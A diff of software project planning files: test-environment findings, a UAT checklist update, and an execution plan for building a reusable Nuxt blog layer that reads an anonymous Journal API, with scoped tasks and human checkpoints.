- **Realtime self-echo guard hides same-user cross-tab edits.** `useRealtimeSync.ts` skips the refresh when `payload.actor.user_id` is the session user, so an edit in a second tab of the same user never refreshes the first tab (PHP and Go alike, UAT finding C). This is frontend design (`app/`, out of scope for D-20); worth a product decision if same-user multi-tab sync is wanted.
|
||||
- **`PNG_1PX` fixture is not decodable by PHP GD.** `album-edit-rate-cover.spec.ts` uploads a hand-built 1x1 PNG. PHP's Winter resizer fails on it (`imagealphablending(): Argument #1 must be of type GdImage, false given`, `Resizer.php:139`) and answers 500, while Go accepts it. Real photos work on PHP. Follow-up: use a GD-decodable fixture (for example an 8x8 PNG encoded with a standard encoder) so the spec passes on both backends.
|
||||
- **Local PHP env has no Centrifugo config.** On PHP, the live `realtime.spec.ts` test opens no socket (`Centrifugo: Skipping publish (not configured)`). The PHP side of that test needs the Centrifugo settings in the PHP app's local env.
|
||||
|
||||
## From plan 14.2-04
|
||||
|
||||
- **The first Playwright run after a fresh `dev-stack.sh up` can fail on Vite's cold start.** Right after `up` restarted Nuxt, `auth.setup.ts` got Nuxt's 500 page "Failed to fetch dynamically imported module: http://localhost:3119/_nuxt/layouts/public.vue" (Vite re-optimising dependencies on the first browser load), so the 16 dependent tests were skipped and `e2e-verdict` refused the run, as it should. The same specs passed 17/0/0/0 on the next run against the warm server. `up`'s probe fetches the marker, a 401 and a cover through Nuxt, never a page, so it does not warm the client bundle. Options: let `up` load one page in a headless browser, or pin Vite's `optimizeDeps` in the Nuxt dev config. The gate does not retry (a retry would hide real flakiness).
|
||||
- **TMPDIR inside a go.work tree breaks the framework tests.** With `TMPDIR=fonoteka.go/tmp/dev-stack/go-tmp`, the scaffold tests in `summercms.go/internal/build` ran `go work` inside fonoteka.go's workspace and added a `use` line to `fonoteka.go/go.work` (reverted), and `go test ./...` in fonoteka.go picked up the build directories as packages. `check-phase14.2.sh` leaves TMPDIR to the caller; `dev-stack.sh` already gives its Go processes and Playwright the on-device TMPDIR they need. Tests that scaffold could set `GOWORK=off` or check that their temp directory is outside any workspace.
|
||||
- **`go test ./...` at the fonoteka.go root covers only the root module.** The workspace's plugin modules (fonoteka, user, golem, feedback) are separate modules; `./...` from the root does not reach them. The gate runs the fonoteka plugin module separately (`go -C plugins/golem15/fonoteka test ./...`); the user, golem and feedback submodules are not part of this phase's gate.
|
||||
@@ -37,7 +37,7 @@ findings:
|
||||
title: "`TestTerminalCommands` passes the developer's `SUMMERCMS_DIR` through to the script"
|
||||
- id: WR-08
|
||||
severity: warning
|
||||
disposition: open
|
||||
disposition: fixed
|
||||
title: "The `--generator` gate stage stops `summer serve` but not the app binary it started"
|
||||
- id: IN-01
|
||||
severity: info
|
||||
|
||||
@@ -3,7 +3,7 @@ status: testing
|
||||
phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
|
||||
source: [14.3-VERIFICATION.md]
|
||||
started: 2026-10-08T10:50:06Z
|
||||
updated: 2026-10-08T10:50:06Z
|
||||
updated: 2026-10-08T12:10:00Z
|
||||
---
|
||||
|
||||
## Current Test
|
||||
@@ -30,22 +30,22 @@ result: [pending]
|
||||
|
||||
### 4. Tag and push framework v0.1.13
|
||||
expected: git tag v0.1.13 exists locally and on origin, and summercms.go master is pushed.
|
||||
result: [pending]
|
||||
result: pass
|
||||
|
||||
### 5. Bump the site's framework require to v0.1.13 and redeploy
|
||||
expected: sm-summercmsio-app and its plugin require v0.1.13. After the deploy, curl -fsSI https://summercms.io/new returns 200 with text/plain; charset=utf-8.
|
||||
result: [pending]
|
||||
result: pass
|
||||
|
||||
### 6. Run the production acceptance
|
||||
expected: bash scripts/check-phase14.3.sh --acceptance-production passes, and SUMMERCMS_TERMINAL_CHECK=1 go test -run TestTerminalCommands passes in sm-summercmsio-app with no overrides.
|
||||
result: [pending]
|
||||
result: pass
|
||||
|
||||
## Summary
|
||||
|
||||
total: 6
|
||||
passed: 0
|
||||
passed: 3
|
||||
issues: 0
|
||||
pending: 6
|
||||
pending: 3
|
||||
skipped: 0
|
||||
blocked: 0
|
||||
|
||||
|
||||
@@ -0,0 +1,384 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../vue-journal-layer/pnpm-lock.yaml
|
||||
- ../vue-journal-layer/pnpm-workspace.yaml
|
||||
- ../vue-journal-layer/.nvmrc
|
||||
- ../vue-journal-layer/.gitignore
|
||||
- ../vue-journal-layer/tsconfig.json
|
||||
- ../vue-journal-layer/nuxt.config.ts
|
||||
- ../vue-journal-layer/lib/journal-module.ts
|
||||
- ../vue-journal-layer/app/app.vue
|
||||
- ../vue-journal-layer/app/layouts/default.vue
|
||||
- ../vue-journal-layer/app/utils/types.ts
|
||||
- ../vue-journal-layer/app/utils/client.ts
|
||||
- ../vue-journal-layer/app/utils/routes.ts
|
||||
- ../vue-journal-layer/app/utils/htmlGate.ts
|
||||
- ../vue-journal-layer/app/utils/pagination.ts
|
||||
- ../vue-journal-layer/app/utils/sitemap.ts
|
||||
- ../vue-journal-layer/app/utils/seo.ts
|
||||
- ../vue-journal-layer/app/composables/useJournalApi.ts
|
||||
- ../vue-journal-layer/app/composables/useJournalLinks.ts
|
||||
- ../vue-journal-layer/app/journal-pages/PostIndexPage.vue
|
||||
- ../vue-journal-layer/app/journal-pages/PostPage.vue
|
||||
- ../vue-journal-layer/app/journal-pages/CategoryPage.vue
|
||||
- ../vue-journal-layer/app/journal-pages/TagPage.vue
|
||||
- ../vue-journal-layer/app/journal-pages/AuthorPage.vue
|
||||
- ../vue-journal-layer/app/components/Journal/PostBody.vue
|
||||
- ../vue-journal-layer/app/components/Journal/PostCard.vue
|
||||
- ../vue-journal-layer/app/components/Journal/PostList.vue
|
||||
- ../vue-journal-layer/app/components/Journal/PostMeta.vue
|
||||
- ../vue-journal-layer/app/components/Journal/FeaturedImage.vue
|
||||
- ../vue-journal-layer/app/components/Journal/Pagination.vue
|
||||
- ../vue-journal-layer/app/components/Journal/RelatedPosts.vue
|
||||
- ../vue-journal-layer/app/components/Journal/IndexHeader.vue
|
||||
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
|
||||
- ../vue-journal-layer/app/components/Journal/AuthorCard.vue
|
||||
- ../vue-journal-layer/app/components/Journal/RssLink.vue
|
||||
- ../vue-journal-layer/app/assets/css/journal-tokens.css
|
||||
- ../vue-journal-layer/app/assets/css/journal-base.css
|
||||
- ../vue-journal-layer/i18n/locales/pl.json
|
||||
- ../vue-journal-layer/i18n/locales/en.json
|
||||
- ../vue-journal-layer/server/routes/rss.xml.ts
|
||||
- ../vue-journal-layer/server/api/__sitemap__/journal.ts
|
||||
- ../vue-journal-layer/testing/fixture-api.mjs
|
||||
- ../vue-journal-layer/testing/nuxt-server.mjs
|
||||
- ../vue-journal-layer/testing/smoke-ssr.mjs
|
||||
- ../vue-journal-layer/testing/fixtures/acme/posts.json
|
||||
- ../vue-journal-layer/testing/fixtures/acme/categories.json
|
||||
- ../vue-journal-layer/testing/fixtures/acme/tags.json
|
||||
- ../vue-journal-layer/testing/fixtures/acme/authors.json
|
||||
- ../vue-journal-layer/testing/fixtures/acme/rss.xml
|
||||
- ../vue-journal-layer/testing/expect-acme.txt
|
||||
- ../vue-journal-layer/scripts/check-git-install.sh
|
||||
- ../vue-journal-layer/.playground/nuxt.config.ts
|
||||
- ../vue-journal-layer/.playground/app/app.vue
|
||||
- ../vue-journal-layer/README.md
|
||||
autonomous: false
|
||||
requirements: [SC-2, SC-3]
|
||||
user_setup:
|
||||
- service: git.golem15.com (Gitea 1.25.4)
|
||||
why: "D-02/D-04/D-08: the layer and the site app live in two new public repos; creating a repo needs a Gitea account"
|
||||
dashboard_config:
|
||||
- task: "Create public empty repo golem15/vue-journal-layer (default branch main)"
|
||||
location: "https://git.golem15.com/repo/create (owner golem15)"
|
||||
- task: "Create public empty repo golem15/vue-grzybyfunkcjonalne-app (default branch main)"
|
||||
location: "https://git.golem15.com/repo/create (owner golem15)"
|
||||
estimate:
|
||||
tokens: 160000
|
||||
raw_tokens: 160000
|
||||
tasks: 4
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-02: the Journal views live in the new repo vue-journal-layer, a Nuxt layer that a site app consumes with extends: ['vue-journal-layer']."
|
||||
- "D-04: a scratch consumer installs the layer from git+https://git.golem15.com/golem15/vue-journal-layer.git#<tag> anonymously, pnpm-lock.yaml records the tag commit, and nuxt build of that consumer succeeds (the Wave 0 spike, RESEARCH A1/Pitfall 10)."
|
||||
- "D-05: the layer renders the post list with pagination (page size and sort from journal config), the single post (content_html, featured image, meta, related posts with a latest-posts fallback), category and tag listings, the author page and an RSS link, all through a typed client that calls only anonymous GET routes of the Journal API."
|
||||
- "D-06: every Journal route path comes from the journal.routes config key; false disables a route; route names journal-index, journal-post, journal-category, journal-tag, journal-author stay stable so links never hard-code a path."
|
||||
- "D-03: the layer looks clean on its own with --journal-* CSS custom-property tokens only; no site colours or site copy are in the layer."
|
||||
- "D-16: the layer ships pl and en UI strings, registers them only for locales the consuming app enables, and declares no locale itself, so an app that enables only pl gets no /en routes."
|
||||
- "D-13: @nuxtjs/seo runs in the layer: per-post title, description, og:image and canonical (canonical keeps ?page=N), robots, and a sitemap source that pages the Journal API and builds every loc from journal.routes."
|
||||
- "D-24: the client always requests categories with include_empty=1, so an empty category page answers 200 with its content and an empty list; an unknown category slug answers 404."
|
||||
- "D-20: /autor-style author pages consume the anonymous author endpoint added by the pre-execution quick task; the plan stops at a checkpoint when that endpoint is absent and does not implement it."
|
||||
- "D-21: category pages render the category rich content field (added by the pre-execution quick task) above the post list, through the same HTML gate as post bodies."
|
||||
- "D-14 and Phase 15 D-14: the layer adds no Go endpoint and never calls a Journal write route."
|
||||
- "Every v-html sink (post body, category content, author bio) passes the Go FormatHTML three-pattern gate first; an unsafe value renders a neutral notice, never the raw HTML."
|
||||
- "SSR fetches use the server-only internal base and forward the visitor x-forwarded-for, so Go's journal-public-api bucket stays per visitor (Pitfall 5)."
|
||||
- "The layer repo never names a consuming application; README examples use blog and acme (CLAUDE.md documentation rule)."
|
||||
artifacts:
|
||||
- path: "../vue-journal-layer/lib/journal-module.ts"
|
||||
provides: "configKey journal; extendPages from journal.routes; public runtime config; i18n:registerModule for enabled locales"
|
||||
contains: "extendPages"
|
||||
- path: "../vue-journal-layer/app/utils/client.ts"
|
||||
provides: "createJournalClient over an injected fetcher; include_empty=1; per_page clamp 1..30"
|
||||
contains: "include_empty"
|
||||
- path: "../vue-journal-layer/app/utils/htmlGate.ts"
|
||||
provides: "isSafeJournalHtml and gateJournalHtml with the three Go regex sources"
|
||||
contains: "vbscript"
|
||||
- path: "../vue-journal-layer/app/utils/routes.ts"
|
||||
provides: "DEFAULT_JOURNAL_ROUTES, JOURNAL_ROUTE_NAMES, normalizeJournalRoutes, fillJournalPath"
|
||||
contains: "journal-post"
|
||||
- path: "../vue-journal-layer/server/api/__sitemap__/journal.ts"
|
||||
provides: "sitemap source paging posts per_page=30 plus categories include_empty=1"
|
||||
contains: "defineSitemapEventHandler"
|
||||
- path: "../vue-journal-layer/scripts/check-git-install.sh"
|
||||
provides: "the D-04 spike: install from a git tag, nuxt build, SSR smoke against the fixture API"
|
||||
contains: "git+https://git.golem15.com/golem15/vue-journal-layer.git"
|
||||
- path: "../vue-journal-layer/testing/smoke-ssr.mjs"
|
||||
provides: "boots a built .output against the fixture API and checks status/contains/type lines"
|
||||
contains: "smoke-ssr: ok"
|
||||
- path: "../vue-journal-layer/README.md"
|
||||
provides: "neutral layer README (blog/acme), config keys, tokens, release by git tag"
|
||||
contains: "extends"
|
||||
key_links:
|
||||
- from: "../vue-journal-layer/lib/journal-module.ts"
|
||||
to: "../vue-journal-layer/app/journal-pages/PostPage.vue"
|
||||
via: "extendPages pushes { name: journal-post, path: journal.routes.post, file } for every non-false route"
|
||||
pattern: "journal-pages"
|
||||
- from: "../vue-journal-layer/app/composables/useJournalApi.ts"
|
||||
to: "../vue-journal-layer/app/utils/client.ts"
|
||||
via: "server uses runtimeConfig.journal.apiBase and forwards x-forwarded-for; browser uses runtimeConfig.public.journal.apiBase"
|
||||
pattern: "x-forwarded-for"
|
||||
- from: "../vue-journal-layer/app/components/Journal/PostBody.vue"
|
||||
to: "../vue-journal-layer/app/utils/htmlGate.ts"
|
||||
via: "v-html only receives gateJournalHtml(...).html when safe"
|
||||
pattern: "gateJournalHtml"
|
||||
- from: "../vue-journal-layer/server/api/__sitemap__/journal.ts"
|
||||
to: "../vue-journal-layer/app/utils/sitemap.ts"
|
||||
via: "buildJournalSitemapEntries(posts, categories, routes) fills loc from journal.routes"
|
||||
pattern: "buildJournalSitemapEntries"
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
|
||||
|
||||
MVP_MODE note: the ROADMAP `**Goal:**` line is not an "As a / I want to / so that" story. No story is invented here; run `/msd-mvp-phase 16` to reframe it if a story is wanted.
|
||||
|
||||
This plan's slice: a scratch site installs `vue-journal-layer` from a git tag and serves one Journal post as full SSR HTML from the Journal API, then the remaining Journal views, SEO, sitemap and RSS grow out of that path and ship as tag `v0.1.0`.
|
||||
|
||||
<objective>
|
||||
Create the reusable Journal views layer (D-02) with configurable routes (D-06), a typed anonymous-GET Journal API client (D-05), token-driven neutral design (D-03), pl/en strings (D-16), @nuxtjs/seo and sitemap (D-13), and prove the D-04 git-tag distribution end to end before any site work starts.
|
||||
|
||||
Purpose: SC-2 (the blog views live in a reusable place) and the layer half of SC-3 (every PHP Journal page has a named successor).
|
||||
Output: the `vue-journal-layer` repo pushed to git.golem15.com with tags `v0.0.1` (spike) and `v0.1.0` (release consumed by 16-02).
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/PROJECT.md
|
||||
@.planning/ROADMAP.md
|
||||
@.planning/STATE.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md
|
||||
@../sm-summercmsio-app/vue-summercmsio-app/package.json
|
||||
@../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts
|
||||
@../sm-journal-plugin/routes.go
|
||||
@../sm-journal-plugin/controllers/api/posts.go
|
||||
@../sm-journal-plugin/controllers/api/posts_helpers.go
|
||||
@../sm-journal-plugin/classes/format_html.go
|
||||
|
||||
<interfaces>
|
||||
Journal API facts the layer builds against (read from sm-journal-plugin at d09edde or newer; do not re-derive):
|
||||
- Anonymous GET group under /_journal/api/v1 with middleware throttle:journal-public-api (120/min keyed on surf.ClientIP; 127.0.0.1/32 is a trusted proxy in the host config/http.yaml).
|
||||
- GET posts: query page, per_page (default 9, max 30), sort ("<column> <asc|desc>", columns published_at, created_at, updated_at, title, id; default "published_at desc"), category (slug or id, includes nested children), tag (slug), search (min 3 chars). Envelope: data (array) and meta { current_page, last_page, per_page, total }.
|
||||
- GET posts/{slug} (slug route regex [a-z0-9][a-z0-9\-/]*): { data: post + previous_post, next_post, related_posts }. Unknown, draft or future post: 404 with body { error: "Post not found" } and no data key.
|
||||
- Post fields: id, title, slug, excerpt, content, content_html, reading_time, published, published_at ("2006-01-02T15:04:05+00:00" UTC), is_pinned, metadata, sources, author ({ id, first_name, last_name, login } or null), categories [{ id, name, slug }], tags [{ id, name, slug }], featured_images [{ id, url, file_name, file_size }], featured_image_url (string or null), translations, created_at, updated_at.
|
||||
- related_posts: latest 3 in the same categories; empty when the post has no category.
|
||||
- GET categories[?include_empty=1]: { data: tree of { id, name, slug, description, parent_id, nest_depth, post_count, children? } }; categories with zero published posts are omitted unless include_empty=1.
|
||||
- GET tags: { data: [{ id, name, slug, post_count }] }.
|
||||
- GET rss: RSS 2.0, Content-Type application/rss+xml; item links are config url + "/blog/" + slug.
|
||||
- Pre-execution additions (assumed shapes, confirmed by Task 1): D-20 anonymous author endpoint (assumed GET /_journal/api/v1/authors/{slug} answering { data: { id, slug, first_name, last_name, plus public profile fields } } with the author's posts as a paginated list, assumed GET /_journal/api/v1/authors/{slug}/posts or posts?author=<slug>); D-21 category rich content field (assumed key content, an HTML string or null, on every categories row).
|
||||
- FormatHTML gate regex sources (classes/format_html.go): (?i)<(?:script|iframe|object|embed)\b, (?i)\son[a-z]+\s*=, (?i)(?:javascript|vbscript|data):
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP success criteria SC-1..SC-4 and CONTEXT decisions D-01..D-25 are the source of truth for must_haves.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- Repo `git.golem15.com/golem15/vue-journal-layer` (local checkout `../vue-journal-layer`), package name `vue-journal-layer`, `"main": "./nuxt.config.ts"`, tags `v0.0.1` and `v0.1.0`.
|
||||
- Nuxt module `lib/journal-module.ts` (meta.name `vue-journal-layer`, configKey `journal`) with options `journal.routes` (`index`, `post`, `category`, `tag`, `author`: path string or `false`), `journal.perPage` (`index`, `category`, `tag`, `author`), `journal.sort`, `journal.relatedCount`, `journal.rss`.
|
||||
- Route names `journal-index`, `journal-post`, `journal-category`, `journal-tag`, `journal-author`; neutral default paths `/blog`, `/blog/:slug`, `/blog/category/:category`, `/blog/tag/:tag`, `/blog/author/:author`.
|
||||
- Runtime config keys `runtimeConfig.journal.apiBase` (env `NUXT_JOURNAL_API_BASE`, default `http://127.0.0.1:8096/_journal/api/v1`), `runtimeConfig.public.journal.apiBase` (env `NUXT_PUBLIC_JOURNAL_API_BASE`, default `/_journal/api/v1`), `runtimeConfig.public.journal.routes`, `.perPage`, `.sort`, `.relatedCount`, `.rss`.
|
||||
- Pure TS utils (auto-imported in Nuxt, importable by node --test): `types.ts` (`JournalPost`, `JournalPostDetail`, `JournalCategory`, `JournalTag`, `JournalAuthor`, `JournalAuthorRef`, `JournalFeaturedImage`, `JournalPage<T>`, `JournalItem<T>`, `JournalRoutes`, `JournalModuleOptions`), `client.ts` (`JOURNAL_MAX_PER_PAGE`, `clampPerPage`, `buildPostListQuery`, `encodeSlugPath`, `flattenCategories`, `createJournalClient`), `routes.ts` (`DEFAULT_JOURNAL_ROUTES`, `JOURNAL_ROUTE_NAMES`, `normalizeJournalRoutes`, `fillJournalPath`), `htmlGate.ts` (`UNSAFE_TAG`, `EVENT_HANDLER`, `DANGEROUS_URL`, `isSafeJournalHtml`, `gateJournalHtml`), `pagination.ts` (`parsePageParam`, `pageOutOfRange`, `paginationWindow`), `sitemap.ts` (`buildJournalSitemapEntries`), `seo.ts` (`postSeoMeta`, `listTitle`).
|
||||
- Composables `useJournalApi()` and `useJournalLinks()`.
|
||||
- Page components `app/journal-pages/{PostIndexPage,PostPage,CategoryPage,TagPage,AuthorPage}.vue`.
|
||||
- Overridable components `JournalPostBody`, `JournalPostCard`, `JournalPostList`, `JournalPostMeta`, `JournalFeaturedImage`, `JournalPagination`, `JournalRelatedPosts`, `JournalIndexHeader`, `JournalCategoryHeader`, `JournalAuthorCard`, `JournalRssLink`.
|
||||
- CSS tokens `--journal-color-*`, `--journal-font-*`, `--journal-space-*`, `--journal-radius-*` in `app/assets/css/journal-tokens.css`; neutral styles in `journal-base.css`.
|
||||
- i18n message files `i18n/locales/{pl,en}.json` under the `journal.*` key tree.
|
||||
- Nitro routes `/rss.xml` (proxy of the Journal API rss with x-forwarded-for) and `/api/__sitemap__/journal` (sitemap source).
|
||||
- Test tooling `testing/fixture-api.mjs` (`startFixtureApi`), `testing/nuxt-server.mjs` (`startNuxtServer`), `testing/smoke-ssr.mjs` (CLI), fixtures `testing/fixtures/acme/*`, expectations `testing/expect-acme.txt`, spike script `scripts/check-git-install.sh <tag>`.
|
||||
|
||||
<!-- planner-discipline-allow: grzyb -->
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:human-action" gate="blocking-human">
|
||||
<name>Task 1: Prerequisite gate — two Gitea repos exist and the D-20/D-21 Journal additions are in sm-journal-plugin</name>
|
||||
<precondition>The sibling checkout ../sm-journal-plugin exists and builds (go -C ../sm-journal-plugin vet ./... exits 0).</precondition>
|
||||
<read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-02, D-04, D-08, D-20, D-21), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pitfall 11, Open Question 1, Journal API table), ../sm-journal-plugin/routes.go, ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/controllers/api/posts_helpers.go (serializeCategoryNode), ../sm-journal-plugin/controllers/api/posts.go (serializeAuthor), ../sm-journal-plugin/README.md</read_first>
|
||||
<action>Before stopping, run every check in the verify block and report which pass. Then stop for the human: (a) create the public empty repos golem15/vue-journal-layer and golem15/vue-grzybyfunkcjonalne-app on git.golem15.com if the ls-remote checks fail (D-02, D-08; Pitfall 11); (b) run the pre-execution quick tasks in ../sm-journal-plugin if the D-20 author endpoint or the D-21 category content field is missing. Do not implement either Journal addition in this phase (D-20, D-21 are prerequisites, not plan work) and create no Journal route or handler in this phase.
|
||||
|
||||
After the human resumes and every check passes, read the landed code and record a "Prerequisite contract" section in the plan SUMMARY: the exact D-20 route path or paths, the author object field names (slug and every public profile field, for example bio or avatar if present), how the author's posts are listed (path, query keys, envelope), the 404 body; and the exact D-21 key on the categories rows (assumed content) plus whether it is HTML or markdown. Tasks 2–4 use these recorded names; where they differ from the assumptions in this plan's interfaces block, the plugin wins (it is the contract) and the deviation is noted in the SUMMARY.</action>
|
||||
<instructions>
|
||||
Claude ran the checks below and reports the result of each.
|
||||
The human: create the two public repos on git.golem15.com (owner golem15, empty, default branch main) and make sure the D-20 author endpoint and the D-21 category content field quick tasks have landed in ../sm-journal-plugin.
|
||||
</instructions>
|
||||
<verification>All four checks in the verify block exit 0.</verification>
|
||||
<resume-signal>Type "prerequisites ready" once the repos exist and both quick tasks have landed.</resume-signal>
|
||||
<verify>
|
||||
<automated>GIT_TERMINAL_PROMPT=0 git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git >/dev/null && GIT_TERMINAL_PROMPT=0 git ls-remote https://git.golem15.com/golem15/vue-grzybyfunkcjonalne-app.git >/dev/null && grep -qi 'author' ../sm-journal-plugin/routes.go && grep -qi 'content' ../sm-journal-plugin/models/category.go && awk '/^func serializeCategoryNode/,/^}/' ../sm-journal-plugin/controllers/api/posts_helpers.go | grep -qi 'content' && go -C ../sm-journal-plugin vet ./... && echo gate-ok</automated>
|
||||
<fails_when>Non-zero exit, or the final line is not "gate-ok": a repo ls-remote fails (repo missing or not public), routes.go has no author route, models/category.go has no content field, or serializeCategoryNode does not emit it.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git ls-remote` succeeds anonymously for both https://git.golem15.com/golem15/vue-journal-layer.git and https://git.golem15.com/golem15/vue-grzybyfunkcjonalne-app.git.
|
||||
- ../sm-journal-plugin/routes.go registers an anonymous author route (D-20) and models/category.go declares a content field that serializeCategoryNode emits (D-21).
|
||||
- The SUMMARY records the confirmed D-20 route paths and author fields and the D-21 categories key.
|
||||
- No file in ../sm-journal-plugin was modified by this plan.
|
||||
</acceptance_criteria>
|
||||
<done>Both repos exist and the author endpoint and category content field are confirmed, with their exact names recorded for Tasks 2–4.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer — a scratch site installs the layer from git tag v0.0.1 and serves one Journal post as SSR HTML</name>
|
||||
<reversibility rating="costly">D-02: every other blog builds on this layer's module, route names and component names; changing them means touching every consuming app.</reversibility>
|
||||
<files>../vue-journal-layer/package.json, ../vue-journal-layer/pnpm-lock.yaml, ../vue-journal-layer/pnpm-workspace.yaml, ../vue-journal-layer/.nvmrc, ../vue-journal-layer/.gitignore, ../vue-journal-layer/tsconfig.json, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/app.vue, ../vue-journal-layer/app/layouts/default.vue, ../vue-journal-layer/app/utils/types.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/routes.ts, ../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/composables/useJournalApi.ts, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/testing/fixture-api.mjs, ../vue-journal-layer/testing/nuxt-server.mjs, ../vue-journal-layer/testing/smoke-ssr.mjs, ../vue-journal-layer/testing/fixtures/acme/posts.json, ../vue-journal-layer/testing/fixtures/acme/categories.json, ../vue-journal-layer/testing/fixtures/acme/tags.json, ../vue-journal-layer/testing/fixtures/acme/authors.json, ../vue-journal-layer/testing/fixtures/acme/rss.xml, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/scripts/check-git-install.sh, ../vue-journal-layer/.playground/nuxt.config.ts, ../vue-journal-layer/.playground/app/app.vue</files>
|
||||
<read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pattern 1, Pattern 2, Anti-Patterns, Pitfalls 4, 5, 9, 10, Standard Stack, Package Legitimacy Audit), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md (package.json, nuxt.config.ts, modules/journal.ts, app/utils), ../sm-summercmsio-app/vue-summercmsio-app/package.json, ../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts, ../sm-summercmsio-app/vue-summercmsio-app/pnpm-workspace.yaml, ../sm-summercmsio-app/vue-summercmsio-app/.gitignore, ../sm-summercmsio-app/vue-summercmsio-app/app/utils/scrollSpy.ts, ../sm-journal-plugin/controllers/api/posts.go (serializePost, Show), ../sm-journal-plugin/classes/format_html.go, the Task 1 "Prerequisite contract" in this plan's SUMMARY</read_first>
|
||||
<action>Clone the empty repo into ../vue-journal-layer (git clone git@git.golem15.com:golem15/vue-journal-layer.git), branch main. Copy .nvmrc (22.22.0), tsconfig.json (extends ./.nuxt/tsconfig.json) and pnpm-workspace.yaml (allowBuilds esbuild, @parcel/watcher, vue-demi) from ../sm-summercmsio-app/vue-summercmsio-app; .gitignore adds node_modules/, .nuxt/, .output/, .data/, .playground/.nuxt/, .playground/.output/.
|
||||
|
||||
package.json: name vue-journal-layer, version 0.0.1, private true, type module, main ./nuxt.config.ts, engines node >=22.18. dependencies exactly @nuxt/fonts 0.14.0, @nuxtjs/i18n 10.4.0, @nuxtjs/seo 5.2.1 (versions already locked in vue-summercmsio-app/pnpm-lock.yaml; Package Legitimacy Audit approved). devDependencies exactly nuxt 4.4.8, vue 3.5.35, typescript 5.9.3; peerDependencies nuxt 4.4.8 so the consumer's nuxt resolves for imports from nuxt/kit. Scripts: dev = nuxi dev .playground, build:playground = nuxt build .playground, dev:prepare = nuxt prepare .playground, check:git-install = bash scripts/check-git-install.sh. Do not add an npm lifecycle script named prepare or any install-time build: a git-hosted dependency that needs preparation breaks pnpm install (Pitfall 10). No sanitize-html (RESEARCH A4: the Go three-pattern gate is the sanitizer). Run pnpm install to write pnpm-lock.yaml.
|
||||
|
||||
nuxt.config.ts (layer): compute currentDir from fileURLToPath(new URL('.', import.meta.url)) and build every path from it, never relative or alias paths (Pitfall 9). Set pages: true (the consumer may have no app/pages directory). modules: '@nuxt/fonts', '@nuxtjs/i18n', '@nuxtjs/seo' and the absolute path of lib/journal-module.ts, declared once here so the app never re-lists them (Pitfall 4). The module sits in lib/ rather than modules/ so Nuxt's local-modules auto-scan cannot register it a second time. runtimeConfig.journal.apiBase = http://127.0.0.1:8096/_journal/api/v1 (server only); runtimeConfig.public.journal.apiBase = /_journal/api/v1. ogImage enabled false. i18n: no locales key in the layer (D-16, see Task 3).
|
||||
|
||||
lib/journal-module.ts: defineNuxtModule from nuxt/kit with meta.name vue-journal-layer and configKey journal. Defaults: routes = DEFAULT_JOURNAL_ROUTES (index /blog, post /blog/:slug, category /blog/category/:category, tag /blog/tag/:tag, author /blog/author/:author), perPage { index 9, category 9, tag 9, author 9 }, sort published_at desc, relatedCount 3, rss true. In setup call normalizeJournalRoutes(options.routes), then extendPages pushing { name: JOURNAL_ROUTE_NAMES[key], path, file: absolute path of app/journal-pages/<Page>.vue } for each key whose path is not false (D-06). Copy routes, perPage, sort, relatedCount and rss into nuxt.options.runtimeConfig.public.journal next to apiBase. Import helpers from ../app/utils/routes.ts with a relative path; never use the tilde or at-sign alias in layer source (they resolve to the consuming project).
|
||||
|
||||
